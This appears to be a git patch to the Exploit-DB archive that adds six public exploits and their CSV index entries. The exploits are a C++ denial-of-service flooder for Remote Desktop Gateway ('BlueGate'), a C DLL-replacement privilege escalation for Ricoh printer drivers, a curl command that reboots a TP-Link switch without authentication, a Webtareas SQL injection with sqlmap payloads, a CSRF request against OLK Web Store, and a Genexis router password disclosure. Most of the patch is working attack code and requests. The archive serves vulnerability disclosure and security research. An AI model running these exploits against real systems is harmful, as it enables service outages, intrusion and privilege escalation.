From a497fe32ec95787e2847293d51694f3fc90a1d77 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Sat, 25 Jan 2020 05:02:04 +0000 Subject: [PATCH] DB: 2020-01-25 6 changes to exploits/shellcodes Remote Desktop Gateway - 'BlueGate' Denial of Service (PoC) Ricoh Printer Drivers - Local Privilege Escalation TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot Webtareas 2.0 - 'id' SQL Injection OLK Web Store 2020 - Cross-Site Request Forgery Genexis Platinum-4410 2.1 - Authentication Bypass --- exploits/asp/webapps/47960.txt | 27 ++++ exploits/hardware/webapps/47958.txt | 32 +++++ exploits/hardware/webapps/47961.txt | 22 ++++ exploits/php/webapps/47959.txt | 67 ++++++++++ exploits/windows/dos/47964.cpp | 135 +++++++++++++++++++ exploits/windows/local/47962.c | 195 ++++++++++++++++++++++++++++ files_exploits.csv | 6 + 7 files changed, 484 insertions(+) create mode 100644 exploits/asp/webapps/47960.txt create mode 100644 exploits/hardware/webapps/47958.txt create mode 100644 exploits/hardware/webapps/47961.txt create mode 100644 exploits/php/webapps/47959.txt create mode 100644 exploits/windows/dos/47964.cpp create mode 100644 exploits/windows/local/47962.c diff --git a/exploits/asp/webapps/47960.txt b/exploits/asp/webapps/47960.txt new file mode 100644 index 000000000..c4030c342 --- /dev/null +++ b/exploits/asp/webapps/47960.txt @@ -0,0 +1,27 @@ +# Exploit Title: OLK Web Store 2020 - Cross-Site Request Forgery +# Google Dork: intext:"TopManage ® 2002 - 2020" +# Date: 2020-01-13 +# Exploit Author: Joel Aviad Ossi +# Vendor Homepage: http://www.topmanage.com/ +# Software Link: http://www.topmanage.com/microsites/olk-web-store/ +# Version: 2020 +# Tested on: N/A +# CVE : N/A + +# Reference: https://websec.nl/news.php + +POST /olk/client/login.asp HTTP/1.1 +Host: examplesite.com +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Content-Type: application/x-www-form-urlencoded +Content-Length: 88 +Origin: https://examplesite.com +Connection: close +Referer: https://examplesite.com/olk/client/login.asp?se=Y +Cookie: myLng=en; ASPSESSIONIDCGARQSCD=JGFFLBIAAKGBKANKLAPHMEDH +Upgrade-Insecure-Requests: 1 + +dbID=0&UserName=%22%3EPOC&Password=%22%3ECSRF&newLng=en&btnEnter=Enter&sHeight=400&other= \ No newline at end of file diff --git a/exploits/hardware/webapps/47958.txt b/exploits/hardware/webapps/47958.txt new file mode 100644 index 000000000..42806cc97 --- /dev/null +++ b/exploits/hardware/webapps/47958.txt @@ -0,0 +1,32 @@ +# Exploit Title: TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot +# Date: 2020-01-20 +# Exploit Author: PCEumel +# Vendor Homepage: https://www.tp-link.com/ +# Software Link: https://www.tp-link.com/us/support/download/tl-sg105e/#Firmware +# Version: TP-Link TP-SG105E V4 +# Tested on: TP-SG105E V4 1.0.0 Build 20181120 +# Patch from vendor : https://static.tp-link.com/2020/202001/20200120/TL-SG105Ev4.0_en_1.0.0_[20200119-rel.52079]_up.zip +# CVE : N/A + +# TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot +# The TP-Link TP-SG105E is a "5-Port Gigabit Easy Smart Switch". +# It features a web front end and an application (Easy Smart Configuration Utility) +# for easy configuration management. + +# The device does not properly restrict access to an internal API. +# It is therefore possible to remotely reboot the device by sending a HTTP POST +# request. + +--- + +# POC : +curl -d "reboot_op=reboot" -X POST http://192.168.1.10/reboot.cgi + +--- + +Timeline : +2019-09-16 | Vendor notified +2019-09-25 | Reply (they will patch it) +2019-12-24 | First patch for testing +2019-12-19 | Confirmed the functionality of the patch +2020-01-14 | Public patch available \ No newline at end of file diff --git a/exploits/hardware/webapps/47961.txt b/exploits/hardware/webapps/47961.txt new file mode 100644 index 000000000..d94e2ab01 --- /dev/null +++ b/exploits/hardware/webapps/47961.txt @@ -0,0 +1,22 @@ +# Exploit Title: Genexis Platinum-4410 2.1 - Authentication Bypass +# Date: 20220-01-08 +# Exploit Author: Husinul Sanub +# Author Contact: https://www.linkedin.com/in/husinul-sanub-658239106/ +# Vulnerable Product: Genexis Platinum-4410 v2.1 Home Gateway Router https://genexis.co.in/product/ont/ +# Firmware version: P4410-V2–1.28 +# Vendor Homepage: https://genexis.co.in/ +# Reference: https://medium.com/@husinulzsanub/exploiting-router-authentication-through-web-interface-68660c708206 +# CVE: CVE-2020-6170 + +Vulnerability Details +====================== +Genexis Platinum-4410 v2.1 Home Gateway Router discloses passwords of each users(Admin,GENEXIS,user3) in plain text behind login page source “http://192.168.1.1/cgi-bin/index2.asp". This could potentially allow a remote attacker access sensitive information and perform actions such as reset router, changing passwords, upload malicious firmware etc. + +How to reproduce +=================== +Suppose 192.168.1.1 is the router IP and check view page source of login page “http://192.168.1.1/cgi-bin/index2.asp",There we can found passwords for each login accounts in clear text. + + +POC +========= +* https://youtu.be/IO_Ez4XH-0Y \ No newline at end of file diff --git a/exploits/php/webapps/47959.txt b/exploits/php/webapps/47959.txt new file mode 100644 index 000000000..10b00ec94 --- /dev/null +++ b/exploits/php/webapps/47959.txt @@ -0,0 +1,67 @@ +# Exploit Title: Webtareas 2.0 - 'id' SQL Injection +# Date: 2020-01-23 +# Exploit Author: Greg.Priest +# Vendor Homepage: http://webtareas.sourceforge.net/general/home.php +# Software Link: http://webtareas.sourceforge.net/general/home.php +# Version: Webtareas v2.0 +# Tested on: Windows +# CVE : N/A + +Webtareas v2.0 authenticated Sql injection 0day + +Vulnerable Request: + +POST /webtareas/includes/general_serv.php HTTP/1.1 +Host: 10.61.57.147 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 +Accept: */* +Accept-Language: hu-HU,hu;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Content-Length: 98 +Origin: http://10.61.57.147 +Connection: close +Referer: http://10.61.57.147/webtareas/general/home.php? +Cookie: webTareasSID=npmmte1hejtnsi35mcqbc97gse + +action=cardview-actions&prefix=..%2F&object=projects&tblnam=projects&extra=&extpath=&id=1[Vulnerable parameter!]&defact=Y + +-------------------------------------------------------------------------------------------------------------------------- + +C:\Users\--------\Desktop\sqlmap>sqlmap.py -r webt01 + ___ + __H__ + ___ ___[,]_____ ___ ___ {1.4.1.17#dev} +|_ -| . [)] | .'| . | +|___|_ [.]_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + +[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + +[*] starting @ 12:09:44 /2020-01-23/ + +[12:09:44] [INFO] parsing HTTP request from 'webt01' +[12:09:45] [WARNING] provided value for parameter 'extra' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly +[12:09:45] [WARNING] provided value for parameter 'extpath' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly +[12:09:45] [INFO] resuming back-end DBMS 'mysql' +[12:09:45] [INFO] testing connection to the target URL +sqlmap resumed the following injection point(s) from stored session: +--- +Parameter: id (POST) + Type: boolean-based blind + Title: AND boolean-based blind - WHERE or HAVING clause + Payload: action=cardview-actions&prefix=../&object=projects&tblnam=projects&extra=&extpath=&id=1' AND 4597=4597 AND 'yvIt'='yvIt&defact=Y + + Type: time-based blind + Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) + Payload: action=cardview-actions&prefix=../&object=projects&tblnam=projects&extra=&extpath=&id=1' AND (SELECT 4838 FROM (SELECT(SLEEP(5)))WYXW) AND 'lBki'='lBki&defact=Y +--- +[12:09:45] [INFO] the back-end DBMS is MySQL +web application technology: Apache 2.4.41, PHP 7.3.13 +back-end DBMS: MySQL >= 5.0.12 +[12:09:45] [INFO] fetched data logged to text files under 'C:\Users\--------\AppData\Local\sqlmap\output\10.61.57.147' + +[*] ending @ 12:09:45 /2020-01-23/ + +https://github.com/Gr3gPr1est/BugReport/blob/master/WebTareas2.0_Authenticated_SQLinjection_0day.pdf \ No newline at end of file diff --git a/exploits/windows/dos/47964.cpp b/exploits/windows/dos/47964.cpp new file mode 100644 index 000000000..634f66bf8 --- /dev/null +++ b/exploits/windows/dos/47964.cpp @@ -0,0 +1,135 @@ +#include "BlueGate.h" + +/* +EDB Note: +- Download (Binary) ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47964-1.exe +- Download (Source) ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47964-2.zip +*/ + + +void error(const char* msg) +{ + printf("ERROR: %s\n", msg); + exit(EXIT_FAILURE); +} + +void SOCKInit() +{ + WSADATA wsaData; + int res; + + res = WSAStartup(MAKEWORD(2, 2), &wsaData); + + if (res != 0) + error("WSAStartup failed"); +} + +void DTLSInit() +{ + SSL_library_init(); + SSL_load_error_strings(); + ERR_load_BIO_strings(); + OpenSSL_add_all_algorithms(); +} + +int OpenUDPConnection(const char* hostname, int port) +{ + int sockfd; + sockaddr_in addr; + + sockfd = socket(AF_INET, SOCK_DGRAM, 0); + + if (sockfd < 0) + error("Failed to open socket"); + + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + + inet_pton(AF_INET, hostname, &(addr.sin_addr)); + + if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0) + { + closesocket(sockfd); + error("Failed to connect socket"); + } + + return sockfd; +} + +SSL* DTLSConnection(const char* hostname) +{ + int sockfd; + int result; + DTLSParams client; + + sockfd = OpenUDPConnection(hostname, 3391); + + client.ctx = SSL_CTX_new(DTLS_client_method()); + client.bio = BIO_new_ssl_connect(client.ctx); + + BIO_set_conn_hostname(client.bio, hostname); + BIO_get_ssl(client.bio, &(client.ssl)); + + SSL_set_connect_state(client.ssl); + SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY); + + SSL_set_fd(client.ssl, sockfd); + + if (SSL_connect(client.ssl) != 1) { + return NULL; + } + + return client.ssl; +} + +int send_dos_packet(SSL* ssl, int id) { + CONNECT_PKT_FRAGMENT packet; + + packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT; + packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER); + packet.usFragmentID = id; + packet.usNoOfFragments = id; + packet.cbFragmentLength = 1000; + memset(packet.fragment, 0x41, 1000); + + char pkt[sizeof(packet)]; + memcpy(&pkt, &packet, sizeof(packet)); + + return SSL_write(ssl, pkt, sizeof(pkt)); +} + +int main(int argc, char* argv[]) +{ + + SSL* ssl; + int i = 0; + char* hostname; + + if (argc != 2) { + printf("Usage: %s \n", argv[0]); + return 0; + } + + hostname = argv[1]; + + SOCKInit(); + DTLSInit(); + + while (i++ > -1) { + ssl = DTLSConnection(hostname); + + if (ssl == NULL) { + break; + } + + for (int n = 0; n < 4; n++) { + send_dos_packet(ssl, i+n); + printf("Sending packet [%u]\n", i + n); + } + + i++; + } + + + return 0; +} \ No newline at end of file diff --git a/exploits/windows/local/47962.c b/exploits/windows/local/47962.c new file mode 100644 index 000000000..866770cb8 --- /dev/null +++ b/exploits/windows/local/47962.c @@ -0,0 +1,195 @@ +/* + +This proof of concept code monitors file changes on Ricoh's driver DLL files and overwrites +a DLL file before the library is loaded (CVE-2019-19363). + +Written by Pentagrid AG, 2019. + +Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/ + +Credits: Alexander Pudwill + +This proof of concept code is based on the ReadDirectoryChangesW API call to +get notified about changes on files and directories and reuses parts from the example from +https://www.experts-exchange.com/questions/22507220/ReadDirectoryChangesW-FWATCH-MSDN-sample-not-working.html + +*/ +#include +#include +#include +#include + +#define MAX_BUFFER 4096 + +int change_counter = 0; +const WCHAR * const BaseDirName = L"C:\\ProgramData"; +const WCHAR * TargetDllFullFilePath, * TargetDLLRelFilePath, * MaliciousLibraryFile, * PrinterName; +DWORD dwNotifyFilter = FILE_NOTIFY_CHANGE_LAST_WRITE | + FILE_NOTIFY_CHANGE_SIZE | + FILE_NOTIFY_CHANGE_LAST_ACCESS | + FILE_NOTIFY_CHANGE_CREATION; + +typedef struct _DIRECTORY_INFO { + HANDLE hDir; + TCHAR lpszDirName[MAX_PATH]; + CHAR lpBuffer[MAX_BUFFER]; + DWORD dwBufLength; + OVERLAPPED Overlapped; +} DIRECTORY_INFO, *PDIRECTORY_INFO, *LPDIRECTORY_INFO; + +DIRECTORY_INFO DirInfo; + +void WINAPI HandleDirectoryChange(DWORD dwCompletionPort) { + DWORD numBytes, cbOffset; + LPDIRECTORY_INFO di; + LPOVERLAPPED lpOverlapped; + PFILE_NOTIFY_INFORMATION fni; + WCHAR FileName[MAX_PATH]; + + do { + + GetQueuedCompletionStatus((HANDLE)dwCompletionPort, &numBytes, (LPDWORD)&di, &lpOverlapped, INFINITE); + + if (di) { + fni = (PFILE_NOTIFY_INFORMATION)di->lpBuffer; + + do { + cbOffset = fni->NextEntryOffset; + + // get filename + size_t num_elem = fni->FileNameLength / sizeof(WCHAR); + if (num_elem >= sizeof(FileName) / sizeof(WCHAR)) num_elem = 0; + + wcsncpy_s(FileName, sizeof(FileName)/sizeof(WCHAR), fni->FileName, num_elem); + FileName[num_elem] = '\0'; + wprintf(L"+ Event for %s [%d]\n", FileName, change_counter); + + if (fni->Action == FILE_ACTION_MODIFIED) { + + if (!wcscmp(FileName, TargetDLLRelFilePath)) { + + if (change_counter > 0) + change_counter--; + if (change_counter == 0) { + change_counter--; + + if (CopyFile(MaliciousLibraryFile, TargetDllFullFilePath, FALSE)) + wprintf(L"+ File %s copied to %s.\n", MaliciousLibraryFile, TargetDllFullFilePath); + + else { + wchar_t buf[256]; + + FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + buf, (sizeof(buf) / sizeof(wchar_t)), NULL); + + wprintf(L"+ Failed to copy file %s to %s: %s\n", MaliciousLibraryFile, TargetDllFullFilePath, buf); + } + + exit(1); + } // end of trigger part + } + } // eo action mod + fni = (PFILE_NOTIFY_INFORMATION)((LPBYTE)fni + cbOffset); + + } while (cbOffset); + + // Reissue the watch command + ReadDirectoryChangesW(di->hDir, di->lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &di->dwBufLength, &di->Overlapped, NULL); + } + } while (di); +} + +void WINAPI InstallPrinter() { + WCHAR cmd_buf[1000]; + swprintf(cmd_buf, sizeof(cmd_buf), L"/c rundll32 printui.dll, PrintUIEntry /if /b \"Printer\" /r lpt1: /m \"%s\"", PrinterName); + wprintf(L"+ Adding printer: %s\n", cmd_buf); + + unsigned long ret = (unsigned long) ShellExecuteW(0, L"open", L"cmd", cmd_buf, NULL, SW_HIDE); + if(ret <= 32) // That seems to be the way to handle ShellExecuteW's ret value. + wprintf(L"+ Failed launching command. Return value is %d\n", ret); +} + +void WINAPI WatchDirectories(HANDLE hCompPort) { + DWORD tid; + HANDLE hThread; + + ReadDirectoryChangesW(DirInfo.hDir, DirInfo.lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &DirInfo.dwBufLength, &DirInfo.Overlapped, NULL); + + // Create a thread to sit on the directory changes + hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleDirectoryChange, hCompPort, 0, &tid); + + // Just loop and wait for the user to quit + InstallPrinter(); + while (_getch() != 'q'); + + // The user has quit - clean up + PostQueuedCompletionStatus(hCompPort, 0, 0, NULL); + + // Wait for the Directory thread to finish before exiting + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); +} + + +int wmain(int argc, WCHAR *argv[]) { + HANDLE hCompPort = NULL; // Handle To a Completion Port + + if (argc == 6) { + PrinterName = argv[1]; + TargetDllFullFilePath = argv[2]; + TargetDLLRelFilePath = argv[3]; + MaliciousLibraryFile = argv[4]; + change_counter = _wtoi(argv[5]); + } + else { + wprintf(L"+ Usage: %s \n", argv[0]); + return 0; + } + wprintf(L"+ Monitoring directory %s\n", BaseDirName); + + // Get a handle to the directory + DirInfo.hDir = CreateFile(BaseDirName, + FILE_LIST_DIRECTORY, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + NULL, + OPEN_EXISTING, + FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, + NULL); + + if (DirInfo.hDir == INVALID_HANDLE_VALUE) { + wprintf(L"Unable to open directory %s. GLE=%ld. Terminating...\n", + BaseDirName, GetLastError()); + return 0; + } + + lstrcpy(DirInfo.lpszDirName, BaseDirName); + + if (HANDLE hFile = CreateFile(TargetDllFullFilePath, + GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + NULL, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + NULL)) { + wprintf(L"+ File %s created\n", TargetDllFullFilePath); + CloseHandle(hFile); + } + else + wprintf(L"+ File %s could not be created\n", TargetDllFullFilePath); + + + if ((hCompPort = CreateIoCompletionPort(DirInfo.hDir, hCompPort, (ULONG_PTR)&DirInfo, 0)) == NULL) { + wprintf(L"+ CreateIoCompletionPort() failed.\n"); + return 0; + } + + wprintf(L"+ Press to exit\n"); + + // Start watching + WatchDirectories(hCompPort); + + CloseHandle(DirInfo.hDir); + CloseHandle(hCompPort); + return 1; +} \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 4efcaa2bb..07d2ea9e7 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6662,6 +6662,7 @@ id,file,description,date,author,type,platform,port 47947,exploits/windows/dos/47947.py,"Sysax Multi Server 5.50 - Denial of Service (PoC)",2020-01-20,"Shailesh Kumavat",dos,windows, 47952,exploits/multiple/dos/47952.txt,"KeePass 2.44 - Denial of Service (PoC)",2020-01-22,"Mustafa Emre Gül",dos,multiple, 47955,exploits/windows/dos/47955.py,"BOOTP Turbo 2.0 - Denial of Service (SEH)(PoC)",2020-01-23,boku,dos,windows, +47964,exploits/windows/dos/47964.cpp,"Remote Desktop Gateway - 'BlueGate' Denial of Service (PoC)",2020-01-23,ollypwn,dos,windows, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -10917,6 +10918,7 @@ id,file,description,date,author,type,platform,port 47945,exploits/xml/local/47945.txt,"Easy XML Editor 1.7.8 - XML External Entity Injection",2020-01-20,"Javier Olmedo",local,xml, 47950,exploits/windows/local/47950.txt,"NEOWISE CARBONFTP 1.4 - Weak Password Encryption",2020-01-21,hyp3rlinx,local,windows, 47957,exploits/linux/local/47957.rb,"Reliable Datagram Sockets (RDS) - rds_atomic_free_op NULL pointer dereference Privilege Escalation (Metasploit)",2020-01-23,Metasploit,local,linux, +47962,exploits/windows/local/47962.c,"Ricoh Printer Drivers - Local Privilege Escalation",2020-01-22,pentagrid,local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -42257,3 +42259,7 @@ id,file,description,date,author,type,platform,port 47949,exploits/java/webapps/47949.txt,"ManageEngine Network Configuration Manager 12.2 - 'apiKey' SQL Injection",2020-01-21,"Ertebat Gostar Co",webapps,java, 47954,exploits/php/webapps/47954.py,"qdPM 9.1 - Remote Code Execution",2020-01-23,"Rishal Dwivedi",webapps,php, 47951,exploits/xml/webapps/47951.py,"Citrix XenMobile Server 10.8 - XML External Entity Injection",2020-01-22,"Jonas Lejon",webapps,xml, +47958,exploits/hardware/webapps/47958.txt,"TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot",2020-01-24,PCEumel,webapps,hardware, +47959,exploits/php/webapps/47959.txt,"Webtareas 2.0 - 'id' SQL Injection",2020-01-24,Greg.Priest,webapps,php, +47960,exploits/asp/webapps/47960.txt,"OLK Web Store 2020 - Cross-Site Request Forgery",2020-01-24,"Joel Aviad Ossi",webapps,asp, +47961,exploits/hardware/webapps/47961.txt,"Genexis Platinum-4410 2.1 - Authentication Bypass",2020-01-24,"Husinul Sanub",webapps,hardware,